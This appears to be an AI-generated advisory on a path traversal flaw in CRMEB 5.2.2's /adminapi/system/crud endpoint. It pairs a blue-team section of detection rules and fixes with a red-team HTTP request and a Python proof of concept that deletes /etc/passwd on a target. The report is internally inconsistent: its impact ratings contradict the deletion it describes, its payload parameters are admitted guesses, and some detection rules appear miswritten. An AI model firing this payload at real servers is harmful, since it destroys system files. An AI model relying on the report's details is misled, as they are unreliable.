CVE-2024-1704

Executive Summary

CVE-2024-1704 is a critical path traversal vulnerability discovered in ZhongBangKeji CRMEB version 5.2.2. The flaw resides in the /adminapi/system/crud endpoint, specifically within the save and delete functions. An authenticated attacker can manipulate file paths to traverse outside the intended directory, potentially reading or deleting arbitrary files on the server. The vulnerability has been publicly disclosed (VDB-254392) with proof-of-concept code available, yet the vendor has not responded or released a patch. The CVSS score is 5.5 (Medium), but the impact is high due to the potential for unauthorized file access and deletion.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a PHP-based web application (CRMEB). No supply chain package security issues are present.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the risk. An attacker with low privileges can read sensitive files (e.g., configuration files containing database credentials) or delete critical system files.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the CRMEB backend API. The endpoint /adminapi/system/crud handles CRUD operations for system entities. The save and delete functions do not properly sanitize user-supplied file paths, allowing an attacker to use ../ sequences to escape the intended directory.

Root Cause: The application fails to validate or sanitize the path parameter (or similar) before using it in file operations. This allows an attacker to specify arbitrary file paths.

Attack Scenario:

1. An attacker authenticates to the CRMEB admin panel (low privileges required).
2. The attacker sends a crafted request to /adminapi/system/crud with a manipulated path parameter, e.g., path=../../../etc/passwd.
3. The application reads or deletes the file at the traversed path.
4. The attacker can exfiltrate sensitive data or disrupt the application by deleting critical files.

Impact:

• Confidentiality: High – sensitive files (e.g., /etc/passwd, database config) can be read.
• Integrity: None – no file modification is possible via this vulnerability.
• Availability: Low – deletion of critical files could cause denial of service.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (PHP example):

// Vulnerable: no path sanitization
$path = $_POST['path'];
$file = '/var/www/html/crud/' . $path;
if (file_exists($file)) {
    unlink($file); // or readfile($file)
}

Patched Code (Hypothetical):

// Patched: validate and sanitize path
$path = $_POST['path'];
$base = '/var/www/html/crud/';
$realBase = realpath($base);
$realPath = realpath($base . $path);
if ($realPath === false || strpos($realPath, $realBase) !== 0) {
    die('Invalid path');
}
// Proceed with file operation

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a CRMEB 5.2.2 instance with admin credentials.
• Network access to the /adminapi/system/crud endpoint.

Exploit Steps:

1. Authenticate and obtain a session token.

2. Send a POST request to /adminapi/system/crud with the following payload:

   POST /adminapi/system/crud HTTP/1.1
   Host: target.com
   Cookie: PHPSESSID=your_session_id
   Content-Type: application/x-www-form-urlencoded
   
   action=save&path=../../../etc/passwd&content=test
   

   (Note: The exact parameter names may vary; adjust based on actual API.)

3. The server will read or write to /etc/passwd depending on the action.

Proof-of-Concept (Python):

import requests

url = "http://target.com/adminapi/system/crud"
cookies = {"PHPSESSID": "your_session_id"}
data = {
    "action": "delete",
    "path": "../../../etc/passwd"
}
response = requests.post(url, cookies=cookies, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for requests to /adminapi/system/crud with suspicious path parameters containing ../ or absolute paths.
• Alert on file access outside the web root (e.g., /etc/, /var/log/).

Defense:

• Implement strict input validation for the path parameter.
• Use a whitelist of allowed directories.
• Apply the principle of least privilege to the web server user.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /adminapi/system/crud with path containing ../ or absolute paths.
  • Unusual outbound data transfers from the server (e.g., exfiltration of /etc/passwd).

• File System IOCs:

  • Unexpected file reads or deletions in system directories (e.g., /etc/, /var/log/).
  • Presence of files like /tmp/exploit.txt created by the attacker.

• Log IOCs:

  • Web server logs showing requests with path=../../../ patterns.
  • Application logs indicating failed file operations or access to restricted paths.

Detection Engineering

YARA Rule

rule CVE_2024_1704_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CRMEB /adminapi/system/crud"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1704"
    strings:
        $path_traversal = /path=\.\.\/[a-zA-Z0-9_\/]+/
        $endpoint = "/adminapi/system/crud"
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-1704 Path Traversal in CRMEB
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against CRMEB /adminapi/system/crud
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/adminapi/system/crud'
        cs-uri-query|re: 'path=\.\.\/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1704 CRMEB Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/adminapi/system/crud"; http_uri;
    pcre:"/path=\.\.\//Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-1704;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access to trusted IPs only.
2. Apply input validation – sanitize the path parameter to reject any ../ or absolute paths.
3. Use a WAF to block path traversal patterns.

Long-term Fix:

• The vendor must release a patch that properly validates file paths. Until then, consider migrating to a different CRM solution or applying a virtual patch.

Workaround:

• Modify the application code to use realpath() and ensure the resolved path stays within the allowed base directory.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.